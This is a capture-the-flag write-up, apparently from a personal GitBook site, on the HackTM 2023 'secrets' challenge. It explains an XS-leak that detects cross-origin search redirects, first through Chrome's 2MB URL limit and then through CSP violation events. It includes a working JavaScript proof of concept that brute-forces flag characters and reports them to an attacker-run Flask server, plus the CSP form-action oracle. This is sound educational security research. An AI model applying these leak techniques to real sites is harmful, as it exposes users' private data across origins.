👨‍💻
CTFs
HomePlaygroundOSCPBuy Me a Flag 🚩
  • 🚩Zeyu's CTF Writeups
  • Home
  • Playground
  • OSCP
  • My Challenges
    • SEETF 2023
    • The InfoSecurity Challenge 2022
    • SEETF 2022
    • Cyber League Major 1
    • STANDCON CTF 2021
      • Space Station
      • Star Cereal
      • Star Cereal 2
      • Mission Control
      • Rocket Science
      • Space University of Interior Design
      • Rocket Ship Academy
      • Space Noise
  • 2023
    • DEF CON CTF 2023 Qualifiers
    • hxp CTF
      • true_web_assembly
    • HackTM CTF Qualifiers
      • Crocodilu
      • secrets
      • Hades
  • 2022
    • niteCTF 2022
      • Undocumented js-api
      • js-api
    • STACK the Flags 2022
      • Secret of Meow Olympurr
      • The Blacksmith
      • GutHib Actions
      • Electrogrid
      • BeautyCare
    • LakeCTF Qualifiers
      • People
      • Clob-Mate
      • So What? Revenge
    • The InfoSecurity Challenge 2022
      • Level 1 - Slay The Dragon
      • Level 2 - Leaky Matrices
      • Level 3 - PATIENT0
      • Level 4B - CloudyNekos
      • Level 5B - PALINDROME's Secret (Author Writeup)
    • BalsnCTF 2022
      • 2linenodejs
      • Health Check
    • BSidesTLV 2022 CTF
      • Smuggler
      • Wild DevTools
      • Tropical API
    • Grey Cat The Flag 2022
    • DEF CON CTF 2022 Qualifiers
    • Securinets CTF Finals 2022
      • StrUggLe
      • XwaSS ftw?
      • Strong
      • Artist
    • NahamCon CTF 2022
      • Flaskmetal Alchemist
      • Hacker TS
      • Two For One
      • Deafcon
      • OTP Vault
      • Click Me
      • Geezip
      • Ostrich
      • No Space Between Us
    • Securinets CTF Quals 2022
      • Document-Converter
      • PlanetSheet
      • NarutoKeeper
    • CTF.SG CTF
      • Asuna Waffles
      • Senpai
      • We know this all too well
      • Don't Touch My Flag
      • Wildest Dreams Part 2
      • Chopsticks
    • YaCTF 2022
      • Shiba
      • Flag Market
      • Pasteless
      • Secretive
      • MetaPDF
      • Crackme
    • DiceCTF 2022
      • knock-knock
      • blazingfast
    • TetCTF 2022
      • 2X-Service
      • Animals
      • Ezflag Level 1
  • 2021
    • hxp CTF 2021
    • HTX Investigator's Challenge 2021
    • Metasploit Community CTF
    • MetaCTF CyberGames
      • Look, if you had one shot
      • Custom Blog
      • Yummy Vegetables
      • Ransomware Patch
      • I Hate Python
      • Interception
    • CyberSecurityRumble CTF
      • Lukas App
      • Finance Calculat0r 2021
      • Personal Encryptor with Nonbreakable Inforation-theoretic Security
      • Enterprice File Sharing
      • Payback
      • Stonks Street Journal
    • The InfoSecurity Challenge (TISC) 2021
      • Level 4 - The Magician's Den
      • Level 3 - Needle in a Greystack
      • Level 2 - Dee Na Saw as a need
      • Level 1 - Scratching the Surface
    • SPbCTF's Student CTF Quals
      • 31 Line PHP
      • BLT
      • CatStep
    • Asian Cyber Security Challenge (ACSC) 2021
      • Cowsay As A Service
      • Favorite Emojis
      • Baby Developer
      • API
      • RSA Stream
      • Filtered
      • NYONG Coin
    • CSAW CTF Qualification Round 2021
      • Save the Tristate
      • securinotes
      • no pass needed
      • Gatekeeping
      • Ninja
    • YauzaCTF 2021
      • Yauzacraft Pt. 2
      • Yauzabomber
      • RISC 8bit CPU
      • ARC6969 Pt. 1
      • ARC6969 Pt. 2
      • Back in 1986 - User
      • Lorem-Ipsum
    • InCTF 2021
      • Notepad 1 - Snakehole's Secret
      • RaaS
      • MD Notes
      • Shell Boi
      • Listen
      • Ermittlung
      • Alpha Pie
    • UIUCTF 2021
      • pwnies_please
      • yana
      • ponydb
      • SUPER
      • Q-Rious Transmissions
      • capture the :flag:
      • back_to_basics
      • buy_buy_buy
    • Google CTF 2021
      • CPP
      • Filestore
    • TyphoonCon CTF 2021
      • Clubmouse
      • Impasse
    • DSTA BrainHack CDDC21
      • File It Away (Pwn)
      • Linux Rules the World! (Linux)
      • Going Active (Reconnaissance)
      • Behind the Mask (Windows)
      • Web Takedown Episode 2 (Web)
      • Break it Down (Crypto)
    • BCACTF 2.0
      • L10N Poll
      • Challenge Checker
      • Discrete Mathematics
      • Advanced Math Analysis
      • Math Analysis
      • American Literature
      • More Than Meets the Eye
      • 􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉
    • Zh3ro CTF V2
      • Chaos
      • Twist and Shout
      • 1n_jection
      • alice_bob_dave
      • Baby SSRF
      • bxxs
      • Sparta
    • Pwn2Win CTF 2021
      • C'mon See My Vulns
      • Illusion
    • NorzhCTF 2021
      • Leet Computer
      • Secure Auth v0
      • Triskel 3: Dead End
      • Triskel 2: Going In
      • Triskel 1: First Contact
      • Discovery
    • DawgCTF 2021
      • Bofit
      • Jellyspotters
      • No Step On Snek
      • Back to the Lab 2
      • MDL Considered Harmful
      • Really Secure Algorithm
      • The Obligatory RSA Challenge
      • Trash Chain
      • What the Flip?!
      • Back to the Lab 1
      • Back to the Lab 3
      • Dr. Hrabowski's Great Adventure
      • Just a Comment
      • Baby's First Modulation
      • Two Truths and a Fib
    • UMDCTF 2021
      • Advantageous Adventures
      • Roy's Randomness
      • Whose Base Is It Anyway
      • Cards Galore
      • Pretty Dumb File
      • Minetest
      • Donnie Docker
      • Subway
      • Jump Not Easy
      • To Be XOR Not To Be
      • Office Secrets
      • L33t M4th
      • Bomb 2 - Mix Up
      • Jay
    • Midnight Sun CTF 2021
      • Corporate MFA
      • Gurkburk
      • Backups
    • picoCTF 2021
      • It Is My Birthday (100)
      • Super Serial (130)
      • Most Cookies (150)
      • Startup Company (180)
      • X marks the spot (250)
      • Web Gauntlet (170 + 300)
      • Easy Peasy (40)
      • Mini RSA (70)
      • Dachshund Attacks (80)
      • No Padding, No Problem (90)
      • Trivial Flag Transfer Protocol (90)
      • Wireshark twoo twooo two twoo... (100)
      • Disk, Disk, Sleuth! (110 + 130)
      • Stonks (20)
    • DSO-NUS CTF 2021
      • Insecure (100)
      • Easy SQL (200)
Powered by GitBook
On this page
  • Overview
  • Unintended Solution — Chrome's 2MB URL Limit
  • Intended Solution — CSP Violation

Was this helpful?

  1. 2023
  2. HackTM CTF Qualifiers

secrets

XS leak through cross-origin redirects — intended and unintended

PreviousCrocodiluNextHades

Last updated 2 years ago

Was this helpful?

Overview

A secure and secret note storage system is a platform or application designed to keep your confidential notes safe from unauthorized access.

The challenge revolved around searching contents of secret notes.

Let's examine the behaviour of the search feature.

When searching for a note through /search?query=<query>, there are two possible responses:

  1. The note was found.

In this case, a 301 redirect is issued to http://results.wtl.pw/results?ids=<note UUIDs>&query=<query>.

HTTP/1.1 301 MOVED PERMANENTLY
Server: nginx/1.23.3
Date: Sun, 19 Feb 2023 13:48:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 357
Connection: close
Location: http://results.wtl.pw/results?ids=92a05671-8e1a-468e-9b7f-c52789e77d4e&query=test
Vary: Cookie

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="http://results.wtl.pw/results?ids=92a05671-8e1a-468e-9b7f-c52789e77d4e&amp;query=test">http://results.wtl.pw/results?ids=92a05671-8e1a-468e-9b7f-c52789e77d4e&amp;query=test</a>. If not, click the link.

It is important to note that this is a redirect to a different subdomain. Searching on secrets.wtl.pw redirects to results.wtl.pw.

  1. The note was not found.

In this case, a 301 redirect is issued to http://secrets.wtl.pw/#<query>.

HTTP/1.1 301 MOVED PERMANENTLY
Server: nginx/1.23.3
Date: Sun, 19 Feb 2023 13:51:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 241
Connection: close
Location: http://secrets.wtl.pw/#asdf
Vary: Cookie

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="http://secrets.wtl.pw/#asdf">http://secrets.wtl.pw/#asdf</a>. If not, click the link.

Unintended Solution — Chrome's 2MB URL Limit

One thing that might be immediately noticeable is that if the note was found, then the resulting URL length is extended considerably by the ids parameter.

The challenge had SameSite=Lax cookies, so the primitive for any XS-Leak attack is a top-level navigation (e.g. through window.open). There is no way to detect server response codes in a cross-origin window reference, so I started looking for other ways to detect the URL inflation.

In general, the web platform does not have limits on the length of URLs (although 2^31 is a common limit). Chrome limits URLs to a maximum length of 2MB for practical reasons and to avoid causing denial-of-service problems in inter-process communication.

This is where it gets interesting! Because this is a client-side constraint, and URL fragments persist on redirects, we can open /search?query=<query>#AAA...[2MB]...AAA to hit the length limit.

So, what happens when the URL limit is exceeded?

Apparently, it shows an about:blank#blocked page.

As you might expect, trying to access the origin (or any other sensitive information) of a cross-origin window reference would raise an exception.

However, when opening a page that errors out due to the 2MB constraint, the window's origin remains that of the parent.

As an experiment, let's try a successful query.

let url = "http://secrets.wtl.pw/search?query=test#"
let w = window.open(url + "A".repeat(2 * 1024 * 1024 - url.length - 1))

The length of the opened URL

http://secrets.wtl.pw/search?query=test#AAA...AAA

is exactly 2MB - 1, so the initial search URL is just under the length limit.

When the window is redirected to

http://results.wtl.pw/results?ids=<note UUIDs>&query=test#AAA...AAA

the URL is extended and the length limit is hit. The window becomes an about:blank page and its origin remains that of the parent.

Now, if we try the same thing on an unsuccessful query, the final redirected URL falls short of the 2MB limit and the window's origin is no longer accessible.

This can be extended to the following PoC, which brute-forces a character of the flag.

<html>
<body></body>
<script>
    (async () => {

        const curr = "http://secrets.wtl.pw/search?query=HackTM{"

        const leak = async (char) => {
            
            fetch("/?try=" + char)
            let w = window.open(curr + char +  "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
            
            const check = async () => {
                try {
                    w.origin
                } catch {
                    fetch("/?nope=" + char)
                    return
                }
                setTimeout(check, 100)
            }
            check()
        }

        const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"

        for (let i = 0; i < CHARSET.length; i++) {
            leak(CHARSET[i])
            await new Promise(resolve => setTimeout(resolve, 50))
        }
    })()
</script>
</html>

Because this PoC only tells us what is definitely not the flag (by detecting the w.origin errors), we can implement a backend server to quickly find what is the flag by eliminating the unsuccessful queries from the charset.

from flask import Flask, request

app = Flask(__name__)

CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []

@app.route('/', methods=['GET'])
def index():
    global chars
    
    nope = request.args.get('nope', '')
    if nope:
        chars.append(nope)

    remaining = [c for c in CHARSET if c not in chars]

    print("Remaining: {}".format(remaining))

    return "OK"

@app.route('/exploit.html', methods=['GET'])
def exploit():
    return open('exploit.html', 'r').read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337)

The downside of this method is that the long URLs can cause significant lag on the server's admin bot. This may or may not have made the bot extremely unstable for a period of time... oops!

Intended Solution — CSP Violation

<meta http-equiv="Content-Security-Policy" content="form-action http://secrets.wtl.pw">
<form action="http://secrets.wtl.pw/search" method="get">
    <input type="text" name="query" value="test">
</form>

<script>
    document.addEventListener('securitypolicyviolation', () => {
        console.log("CSP violation!")
    });
    document.forms[0].submit();
</script>

Because the query was successful, the window attempted to load http://results.wtl.pw. But since our CSP dictates that forms can only be submitted to http://secrets.wtl.pw, the request was blocked. We can detect this through the securitypolicyviolation event listener.

A in these kinds of scenarios is hitting the server's maximum URL limit, and detecting error status codes. However, these rely on SameSite=None cookies for the .

We might not be able to detect a server-side URL length error, but can we somehow detect a client-side one? According to , Chrome's maximum URL length is 2MB.

It turns out that there is a much faster and less laggy way of detecting the redirects. Because the redirect is to a different origin, we can use as an oracle.

well-known technique
error event detection
Chromium documentation
CSP violations